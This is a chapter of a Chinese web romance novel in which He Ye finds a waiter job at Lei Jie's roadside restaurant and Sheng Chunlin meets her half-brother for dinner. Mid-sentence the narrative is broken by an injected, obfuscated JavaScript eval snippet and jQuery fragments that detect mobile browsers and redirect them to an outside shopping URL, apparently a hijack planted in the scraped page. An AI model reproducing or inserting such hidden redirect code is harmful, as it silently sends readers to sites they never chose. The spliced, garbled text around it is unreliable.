谭鸣到最后都不明白,为什么自己贪污了这么多年都没有被发现。
今年不过过了半年多,便全被揭发出来,更可恨的是,上周刚与长盛集团签订合同,这周就被长盛集团告上了法庭。
若是其他小公司也就算了,可那是长盛集团。
谭鸣把自己这条命搭进去都不够被告的。
他冥思苦想,也不知自己得罪了谁。
难道真的是因为那天晚上自己对何野起了色念么?这个害太岁的威力就这么大,直接把他这么些年的身家全送进去了。
何凡凡也因为与谭鸣同流合污被请进局子里调查,没个十天半个月出不来。
留下方佩茹一个人在外担惊受怕。
“何先生,您可以离开公寓了。”
“需要我来帮助您吗?”
看到棠溪书的消息在手机上冒出来,何野一怔,完全没想到盛春临的动作居然这么快。
“不了,谢谢棠小姐。”
“好的,如果您后续有任何需要帮助的地方,可以随时联系我。”
“嗯好。”
何野的行李不算多,只有零散的几件盛春临给他买的衣服,还有他的二手手机。一个背包就可以完全背过来。
他不打算回到何家,只想在在附近找个能包吃住的工作即可,先活下来最重要。
寻觅良久,发现这附近只有一家开在居民楼里的小旅馆,出租屋改的,98一晚,推拉款窗户只有一平方米大小,楼道的声控灯时亮时不亮,颇有复古气息。
何野看了眼自己的余额,咬咬牙定了一晚上,把东西放好后,出去找工作。
城郊这里店铺不算多,年轻人少,来往的人群也比较固定,大多是货车司机跑长途的时候在这里歇歇脚。
第一天不算顺利,何野走到天黑也没找到一个招人的店铺,他从路边买了一个一块钱的大馒头,边往回走边啃,回到旅馆,还剩半个,可以当做第二天早上的早饭。
晚上躺在猩红褪色的床铺上,听着楼道里传来的脚步声和楼上房间的争吵声,何野迷迷糊糊地入睡了。
梦里他与盛春临一起生活在谭鸣的公寓里,过着甜蜜的生活。
第二天早上,何野简单洗漱一下,准备啃啃剩下的包子,却发现包着馒头的塑料袋被咬破,一只蟑螂躺在自己的半个馒头上假寐,稀稀拉拉的馒头渣散在桌子上。
他叹了一口气,把馒头和蟑螂一起扔进垃圾桶里。
想着早出去能找的更多些,何野简单洗了把脸就又背着自己的背包出去找工作了,绕了一大圈把各个店铺重新翻一遍。
终于找到一个小饭馆,名字叫雷姐饭店,门口贴着一张A4纸,上面写着:“招服务员,月薪保底1800,不限女男,包吃住。”
看起来还不错。
何野推开油光满面的灰黑色纱窗门走进去,前脚刚进,后脚一个年轻小姑娘就嬉皮笑脸的迎上来,“帅哥,来坐这,墙上有菜单,看看想吃点什么?”
何野有些无措地摆摆手,
“不,我不吃,我看门头贴着招人的信息,咱们这还在招服务员吗?”
一听何野说这话,那年轻的小姑娘立刻把脸耷拉下来,转过头去翻了个白眼,往厨房的方向大声喊了一声,“雷姐!来新服务员了!”
何野被小姑娘突然地变脸吓了一跳,不知自己哪里惹到对方,抿了抿嘴不自觉地靠边站了站。
“坐这吧,雷姐在炒菜呢,一会才能过来。”小姑娘随意地指了个空位,没好气地说道。
“好的,谢谢。”
“服务员!”
“诶,来啦。”一句话安置好何野,小姑娘就继续去忙工作了。
小姑娘一走,何野才抬头观察起这个店,店面不大,但几张桌子摆的规规整整,不是饭点也坐了很多人。
趴着几朵小红花的黄灰色桌面被擦得锃亮,每张桌子上都摆着一整瓶醋和小罐辣椒油,左右两面墙上贴满了打印的特色菜菜单,有两道菜名字旁边的价格似乎用马克笔更改了很多遍。
何野用手指在桌面上抹了一下,
没有油。
一看就是个爱干净的老板。
这让他对店主萌生出一丝好感。
“你就是来当服务员的吗?”一个身形壮阔,表情冷淡的女人手里拿着烟站在何野身边。
女人个子不算矮,身上穿了一个全包式的棕红色围裙,头发一丝不苟地盘在一起,许是在厨房工作太久,脸上有层薄汗,但仍不影响她的气质。
“啊,是,我是来应聘服务员的。”何野立刻从座位上站起来,微微点了下头。
女人上下扫了何野两眼,用着有些明显的南方口音说道:“长得这么年轻漂亮怎么不去做点别的工作?”
“我,我比较喜欢做菜。我想边做服务员边跟您学习。”何野一时不知怎么说,只好拿出来几年前找实习的那套话术。
似乎是没想到何野会这么回答,女人抽了一口烟,继续问道:
“多少岁了?”
“22岁,毕业了。”何野不打算如实回答,他需要善意的谎言来帮他得到这份工作。
“学习可以,但这活特别累,所有脏活累活都得干,你得做好心理准备。”
“我什么都可以干,您可以放心。”何野语气诚恳,眼神真挚。
“之前在别的地方做过服务员吗?”女人边说边留意着旁边顾客的动静。
“没专门做过,但是我干活很利索,肯定能很快上手。”
“一个月干27天,底薪1800,全勤600,包吃住,能接受吗?”女人边说边用手指把烟头弄灭扔进垃圾桶。
做餐饮的要保证卫生,她也一样,克制自己每天不能多抽烟,只有放风的时候才会出来抽一根。
“能!”何野立刻回答道。
“行,先留下来试试吧,试用期7天,每天50工资,过了按正式工资算。”
“谢谢老板,您人真的太好了!”何野没预料到老板竟然如此宽容,问了几个简单的问题就通过,今天找工作简直是他人生中最顺利的一件事。
女人仍是没什么表情,摆摆手道:
“我叫雷婵,是这的老板,可以叫我雷姐,刚刚喊我的那个小姑娘叫姘儿,你也叫她阿姘。你什么时候能过来工作?”
“现在就可以。”
这简直是老板最喜欢的员工类型。
“那你白天先在这干,晚上把行李收拾过来吧。”雷婵挑挑眉,似乎终于有些满意。
“好,我行李已经带过来了,都在我的包里。”
雷婵看了眼何野的背包,一个蓝灰色的布包,细背带已经掉色,透出浅浅白色纤维的痕迹,像是二十年前的款。
“好,”雷婵没纠结于何野行李的问题,对着厨房喊了一声,“姘儿,过来带着他去放行李。”
“知道了。”阿姘只闻其声不见其人。
“对了,你叫什么名字?”雷婵这才想起来问一句。
“我叫何野。”
雷婵又继续回厨房炒菜去了,姘儿过来带何野去放行李,脸上仍是那副不悦的神色。
“跟我走吧。”姘儿没好气地说,说完转身就走,不给何野缓冲的时间。
没想到雷姐还真让这个男的留下来,这人一看就是个小白脸,能有她干活干得利索吗,能有她听话听得明白吗?
她就想不明白了,说了不用招人不用招人,雷姐就非得招个人来帮忙,怎么,外来的就是比她这个倒贴的香吗?
自己每天屁颠屁颠跟在雷姐身边,怎么雷姐就是不明白呢?!
越想越气,姘儿边走边踢了一下楼梯拐角的纸箱,给何野弄得一愣一愣。
眼前这个小姑娘看起来年纪不大,身上穿着雷婵同款的围裙,行为举止中透露着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153893|196488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一股血气方刚的少年感,头发随意地扎成一个马尾,皮肤黑黑的,眼睛炯炯有神。
就是不知道为什么,姘儿好像不是很喜欢他,对他明显有些不喜。
何野咽了口唾沫,跟着姘儿走进了房间。
是一个十几平方的小房间,不算大,坐南朝北,但干净整洁,有独立卫浴,甚至被子都是刚从包装里拿出来的。
比他在旅馆住的不知道好多少倍。
“你以后就住在这,我跟雷姐住在隔壁,但最好别事多,不要老是找我们。”姘儿不情不愿地说道。
“好,谢谢你,姘儿。”即便听出来了姘儿语气中的威胁,何野仍是感谢。
姘儿皱了皱眉,明显对何野的话不满意:“别叫我姘儿,叫我姘姐!”
“好的,姘姐。”何野轻笑一声顺着她的话说下去。
虽然看起来很厉害,
但果然还是个小朋友呢。
简单地放下行李,何野就回到了楼下店面里,正好遇到了从厨房出来送菜的雷婵。
“吃早饭了么?”雷婵顺口问了一句。
“还没。”闻着店里饭菜的香气,饥饿感像是在打年糕一样在何野的胃壁上捶打。
雷婵没回答,不一会便从厨房端出来一碗炒河粉放在空桌子上。
“吃吧,先垫吧垫吧,中午再吃点别的。”
刚炒出来的河粉还冒着热气,油菜翠绿,油润鲜香的酱汁裹满每一根河粉,看起来锅气十足。
“谢谢雷姐。”何野惊喜地看着眼前这盘炒河粉,向雷婵投去感激的眼神。
雷婵却没等他有反应,就转身回到厨房炒菜,何野感激的眼神只得落在雷婵挺阔的后背上。
原来雷姐是一个外冷内热的老板。
何野的工作安排主要由雷婵来决定,姘儿起辅助,简而言之,就是两人把自己不想干的,没空干的杂累活全扔给他。
但毕竟是第一天,何野没受到太多摧残,主要是跟在姘儿屁股后面学习怎么服务。
姘儿虽然对何野态度不太好,但是服务能力确实是一等一的厉害,来吃饭的顾客遇到什么大小事她都能给解决。
这让何野由衷地佩服。
他把自己找到工作的事情告诉盛春临。
盛春临简单回了一个,
“知道了,很厉害。”
这就让他很开心。
窗外夜色已深,装潢华丽的包厢内桌面上摆着几盘还未动过的菜,盛子川用湿巾擦了擦手,又不断地抬头看向门口。
大晚上的,盛春临突然说约他吃个饭,这么多年二人单独吃饭的时刻屈指可数,来上这么一次总叫人心里发毛。
也不知道盛春临抱得什么心思,什么事不能在手机上说,难道真是像他想得那般,盛春临要逼他把城西那块地让给盛行之吗?
盛子川打了个哈欠,有些不情愿。
再者,这盛春临怎么还不来,此时距离约定时间都晚点半个小时了!
门外脚步声渐近,棠溪书把门推开,盛春临一身常服随之走了进来。
盛子川立刻站起来,给盛春临拉开主位的椅子。
“大姐,您来了。”
盛子川与盛春临不过相差数月,但该叫的称呼总是不能少。
盛春临不着急开口,坐到主位上,扫视了一眼盛子川,面色淡然地解释道:
“嗯,路上堵车,来晚了些。”
“大姐每天这么辛苦还有时间跟我吃饭,我多等会也是应该的,我现在让他们上菜正好。”盛子川抬手示意服务员上菜。
盛子川才不会信盛春临的鬼话,现在这个时间堵什么车?跟鬼堵车吗?
盛春临这是连演都懒得演!
但他还是要给足盛春临面子,主动当一个体贴的小弟。
盛春临没回应他的奉承,直接开口问道:
“子川最近在忙什么呢?”